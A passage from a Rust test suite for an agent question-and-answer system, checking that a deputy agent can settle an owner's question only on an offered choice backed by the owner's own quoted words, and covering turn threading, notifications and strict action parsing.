3577            "a quote the owner never said is refused"
3578        );
3579        approval
3580            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3581            .unwrap();
3582
3583        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3584        assert!(!crate::deputy::merge_gated(&esc));
3585        esc.say("もう監視はいらない").unwrap();
3586        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3587            .unwrap();
3588        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3589    }
3590
3591    #[test]
3592    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3593        let mut q = approval_question();
3594        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3595            .unwrap();
3596        assert!(
3597            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3598                .is_err(),
3599            "the quote must be the owner's"
3600        );
3601        assert!(
3602            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3603                .is_err(),
3604            "`hold` still needs the whole message"
3605        );
3606        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3607            .unwrap();
3608        assert_eq!(q.resolution().as_deref(), Some("merge"));
3609    }
3610
3611    fn settle_ready() -> Question {
3612        let mut q = Question::new(
3613            "task".to_owned(),
3614            "conduct".to_owned(),
3615            "conduct".to_owned(),
3616            "Done?".to_owned(),
3617            String::new(),
3618            vec!["yes".to_owned(), "no".to_owned()],
3619        );
3620        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3621        seat.turns = 1;
3622        let mut dep = Deputy::new("brief".to_owned());
3623        dep.seat = Some(seat);
3624        q.deputy = Some(dep);
3625        q.say("setup done, and file a follow-up").unwrap();
3626        q
3627    }
3628
3629    #[test]
3630    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3631        let dir = tempfile::TempDir::new().unwrap();
3632        let store = Questions::at(dir.path().join("questions"));
3633        let mut q = settle_ready();
3634        let id = q.id.clone();
3635        store.put(&mut q).unwrap();
3636        store
3637            .update(&id, |q| {
3638                q.settle_by_deputy(
3639                    "deputy-x",
3640                    "yes",
3641                    "setup done",
3642                    Some("  no follow-up was queued  "),
3643                )
3644            })
3645            .unwrap();
3646        let back = store.get(&id).unwrap();
3647        let turn = back.thread.last().unwrap();
3648        assert_eq!(turn.who, Who::Agent);
3649        assert!(turn.body.starts_with("Settled as `yes`"));
3650        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3651        assert_eq!(back.thread[0].note, None);
3652    }
3653
3654    #[test]
3655    fn an_empty_or_blank_settle_note_is_no_note() {
3656        for note in [None, Some(""), Some("  \n ")] {
3657            let mut q = settle_ready();
3658            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3659                .unwrap();
3660            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3661            let json = serde_json::to_string(&q).unwrap();
3662            assert!(!json.contains("\"note\""), "no key when there is none");
3663        }
3664    }
3665
3666    #[test]
3667    fn a_refused_settle_leaves_no_note_behind() {
3668        let mut q = settle_ready();
3669        let before = q.thread.clone();
3670        assert!(
3671            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3672                .is_err()
3673        );
3674        assert!(
3675            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3676                .is_err()
3677        );
3678        assert_eq!(q.thread, before);
3679        assert_eq!(q.status, QuestionStatus::Open);
3680    }
3681
3682    #[test]
3683    fn a_turn_written_before_notes_existed_still_reads() {
3684        let t: Turn =
3685            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3686                .unwrap();
3687        assert_eq!(t.note, None);
3688    }
3689
3690    #[test]
3691    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3692        let mut q = approval_question();
3693        q.say("merge").unwrap();
3694        q.reply("sure?", vec!["merge".into(), "hold".into()])
3695            .unwrap();
3696        q.say("wait, hold off").unwrap();
3697        assert!(
3698            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3699                .is_err()
3700        );
3701        assert_eq!(q.status, QuestionStatus::Open);
3702    }
3703
3704    #[test]
3705    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3706        let mut q = Question::new(
3707            "task".to_owned(),
3708            "conduct".to_owned(),
3709            "conduct".to_owned(),
3710            "Done?".to_owned(),
3711            String::new(),
3712            vec!["yes".to_owned(), "no".to_owned()],
3713        );
3714        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3715        seat.turns = 1;
3716        let mut dep = Deputy::new("brief".to_owned());
3717        dep.seat = Some(seat);
3718        q.deputy = Some(dep);
3719        q.say("setup done, go ahead").unwrap();
3720
3721        assert!(
3722            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3723                .is_err()
3724        );
3725        assert!(
3726            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3727                .is_err()
3728        );
3729        assert!(
3730            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3731                .is_err()
3732        );
3733        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3734        assert_eq!(q.status, QuestionStatus::Open);
3735
3736        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3737            .unwrap();
3738        assert_eq!(q.status, QuestionStatus::Answered);
3739        assert_eq!(q.resolution().as_deref(), Some("yes"));
3740        let last = q.thread.last().unwrap();
3741        assert_eq!(last.who, Who::Agent);
3742        assert!(
3743            last.body.contains("setup done"),
3744            "the quote stays on the record"
3745        );
3746    }
3747
3748    #[test]
3749    fn a_question_written_before_deputies_still_reads() {
3750        let mut q = Question::new(
3751            "task".to_owned(),
3752            "conduct".to_owned(),
3753            "conduct".to_owned(),
3754            "Done?".to_owned(),
3755            String::new(),
3756            Vec::new(),
3757        );
3758        q.schema = 4;
3759        let mut v = serde_json::to_value(&q).unwrap();
3760        v.as_object_mut().unwrap().remove("deputy");
3761        let back: Question = serde_json::from_value(v).unwrap();
3762        assert!(back.deputy.is_none());
3763    }
3764
3765    #[test]
3766    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3767        let mut q = choice_question();
3768        q.say("does the cache need eviction?").unwrap();
3769        assert_eq!(q.thread.len(), 1);
3770        assert_eq!(q.thread[0].who, Who::Operator);
3771        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3772        // Speaking is not deciding: the status and the answer are untouched,
3773        // which is the whole point of the round trip existing at all.
3774        assert_eq!(q.status, QuestionStatus::Open);
3775        assert!(q.answer.is_none());
3776        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3777    }
3778
3779    #[test]
3780    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3781        let mut answered = choice_question();
3782        answered
3783            .answer(Answer::Choice("SQLite".to_owned()))
3784            .unwrap();
3785        let a = answered.say("still there?").unwrap_err().to_string();
3786        assert!(a.contains("already answered"), "{a}");
3787        let b = answered
3788            .reply("still there?", vec![])
3789            .unwrap_err()
3790            .to_string();
3791        assert!(b.contains("already answered"), "{b}");
3792
3793        let mut abandoned = choice_question();
3794        abandoned.abandon("timed out");
3795        let c = abandoned.say("hello?").unwrap_err().to_string();
3796        assert!(c.contains("abandoned"), "{c}");
3797
3798        let mut open = choice_question();
3799        let d = open.say("   ").unwrap_err().to_string();
3800        assert!(d.contains("empty"), "{d}");
3801        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3802        assert!(e.contains("empty"), "{e}");
3803        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3804    }
3805
3806    #[test]
3807    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3808        let mut q = choice_question();
3809        q.say("SQLite or Redis, but what about disk space?")
3810            .unwrap();
3811        assert!(q.waiting_on_agent());
3812
3813        q.reply(
3814            "SQLite: it is one file, no server to run.",
3815            vec!["SQLite".to_owned()],
3816        )
3817        .unwrap();
3818
3819        assert_eq!(q.choices, ["SQLite"]);
3820        assert!(
3821            !q.waiting_on_agent(),
3822            "the agent spoke, so the owner is the one being waited on now"
3823        );
3824        assert_eq!(q.thread.len(), 2);
3825        assert_eq!(q.thread[1].who, Who::Agent);
3826
3827        // The new choice set is what a subsequent answer is checked against.
3828        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3829        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3830        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3831    }
3832
3833    #[test]
3834    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3835        let mut fresh = choice_question();
3836        assert!(
3837            fresh.should_notify(Timestamp::now()),
3838            "nobody has been notified yet, so the first ask always pages"
3839        );
3840
3841        fresh.say("why not Postgres?").unwrap();
3842        let just_said = fresh.thread[0].at;
3843        assert!(
3844            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3845            "still on the screen a minute later; no need to page again"
3846        );
3847        assert!(
3848            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3849            "exactly the window: `>` means this side stays quiet"
3850        );
3851        assert!(
3852            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3853            "past the window: they may have walked away"
3854        );
3855    }
3856
3857    #[test]
3858    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3859        let (_dir, s) = store();
3860        let mut q = choice_question();
3861        s.put(&mut q).unwrap();
3862        q.say("why not Postgres?").unwrap();
3863        s.put(&mut q).unwrap();
3864        q.reply("no server to run", vec!["SQLite".to_owned()])
3865            .unwrap();
3866        s.put(&mut q).unwrap();
3867
3868        assert_eq!(
3869            s.count_open(),
3870            1,
3871            "one question that talked twice is still one open question"
3872        );
3873        assert_eq!(s.open_for(&q.run).len(), 1);
3874    }
3875
3876    #[tokio::test]
3877    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3878        let (dir, s) = store();
3879        let mut q = choice_question();
3880        let id = q.id.clone();
3881        let writer = Questions::at(dir.path().join("questions"));
3882        let handle = tokio::spawn(async move {
3883            tokio::time::sleep(Duration::from_millis(30)).await;
3884            let mut fresh = writer.get(&id).expect("the question was filed first");
3885            fresh.say("why not Postgres?").unwrap();
3886            writer.put(&mut fresh).unwrap();
3887        });
3888
3889        let got = wait_for_owner(
3890            &mut q,
3891            &s,
3892            &quiet(),
3893            Duration::from_secs(5),
3894            Duration::from_millis(10),
3895        )
3896        .await
3897        .unwrap();
3898
3899        handle.await.unwrap();
3900        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3901        assert_eq!(
3902            q.status,
3903            QuestionStatus::Open,
3904            "talking back is not a decision; the question stays open"
3905        );
3906        assert!(q.answer.is_none());
3907    }
3908
3909    #[test]
3910    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3911        let mut q = choice_question();
3912        q.say("A").unwrap();
3913        q.delivered_turns = q.thread.len();
3914        q.say("B").unwrap();
3915        q.reply("about A", vec![]).unwrap();
3916        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3917        q.delivered_turns = q.thread.len();
3918        assert_eq!(q.unread_from_owner(), None);
3919    }
3920
3921    #[test]
3922    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3923        let (_d, s) = store();
3924        let mut q = choice_question();
3925        s.put(&mut q).unwrap();
3926        q.say("first").unwrap();
3927        q.say("second").unwrap();
3928        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3929        s.put(&mut q).unwrap();
3930        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3931        let mut out = Vec::new();
3932        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3933        let shown = String::from_utf8(out).unwrap();
3934        let (a, b, c) = (
3935            shown.find("first").unwrap(),
3936            shown.find("second").unwrap(),
3937            shown.find("SQLite").unwrap(),
3938        );
3939        assert!(a < b && b < c, "{shown}");
3940        assert_eq!(q.delivered_turns, q.thread.len());
3941        assert!(q.answer_delivered);
3942    }
3943
3944    #[test]
3945    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3946        let mut q = choice_question();
3947        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3948        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3949        let mut q = choice_question();
3950        q.say("old").unwrap();
3951        q.delivered_turns = q.thread.len();
3952        q.say("new").unwrap();
3953        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3954        let shown = answer_for_agent(&q, "SQLite");
3955        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3956    }
3957
3958    #[test]
3959    fn recovery_aliases_require_a_unique_offered_structured_effect() {
3960        let mut q = choice_question();
3961        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3962        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3963            q.actions
3964                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3965        }
3966        assert!(
3967            q.resolve_reply("再開")
3968                .unwrap_err()
3969                .to_string()
3970                .contains("ambiguous")
3971        );
3972        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3973        q.choices.remove(1);
3974        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3975        assert!(q.resolve_reply("resume run-b").is_err());
3976        assert!(q.resolve_reply("保留").is_err());
3977        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3978        assert!(!ChoiceAction::Done.matches_alias("完了"));
3979    }
3980
3981    #[test]
3982    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3983        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3984        let ok = parse_actions(
3985            &[
3986                "resume で続行する=resume".to_owned(),
3987                "wait=done".to_owned(),
3988            ],
3989            &choices,
3990            "run-1",
3991        )
3992        .unwrap();
3993        assert_eq!(
3994            ok["resume で続行する"],
3995            ChoiceAction::Resume {
3996                run: "run-1".into()
3997            }
3998        );
3999        assert_eq!(ok["wait"], ChoiceAction::Done);
4000
4001        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4002        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4003        assert_eq!(
4004            ChoiceAction::parse("x=requeue", "").unwrap().1,
4005            ChoiceAction::Requeue
4006        );
4007
4008        assert_eq!(
4009            ChoiceAction::parse("x=hold", "").unwrap().1,
4010            ChoiceAction::Hold
4011        );
4012
4013        for bad in [
4014            "no-equals",
4015            "=done",
4016            "x=resume",
4017            "x=resume:",
4018            "x=explode",
4019            "x=done:1",
4020        ] {
4021            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4022        }
4023        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4024        assert!(
4025            parse_actions(
4026                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4027                &choices,
4028                ""
4029            )
4030            .is_err()
4031        );
4032    }
4033
4034    #[test]
4035    fn only_a_chosen_label_with_an_action_is_actionable() {
4036        let mut q = choice_question();
4037        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4038        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4039        assert!(q.chosen_action().is_none(), "unanswered");
4040        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4041        assert!(
4042            q.chosen_action().is_none(),
4043            "a label that merely reads like an action does nothing"
4044        );
4045
4046        let mut q2 = choice_question();
4047        q2.choices = vec!["SQLite".to_owned()];
4048        q2.actions
4049            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4050        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4051        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4052    }
4053
4054    #[test]
4055    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4056        let mut q = choice_question();
4057        q.choices = vec!["A".to_owned(), "B".to_owned()];
4058        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4059        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4060        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4061        assert_eq!(q.actions.len(), 1);
4062        assert!(q.actions.contains_key("B"));
4063
4064        let mut v = serde_json::to_value(&q).unwrap();
4065        v.as_object_mut().unwrap().remove("actions");
4066        let old: Question = serde_json::from_value(v).unwrap();
4067        assert!(old.actions.is_empty());
4068    }
4069}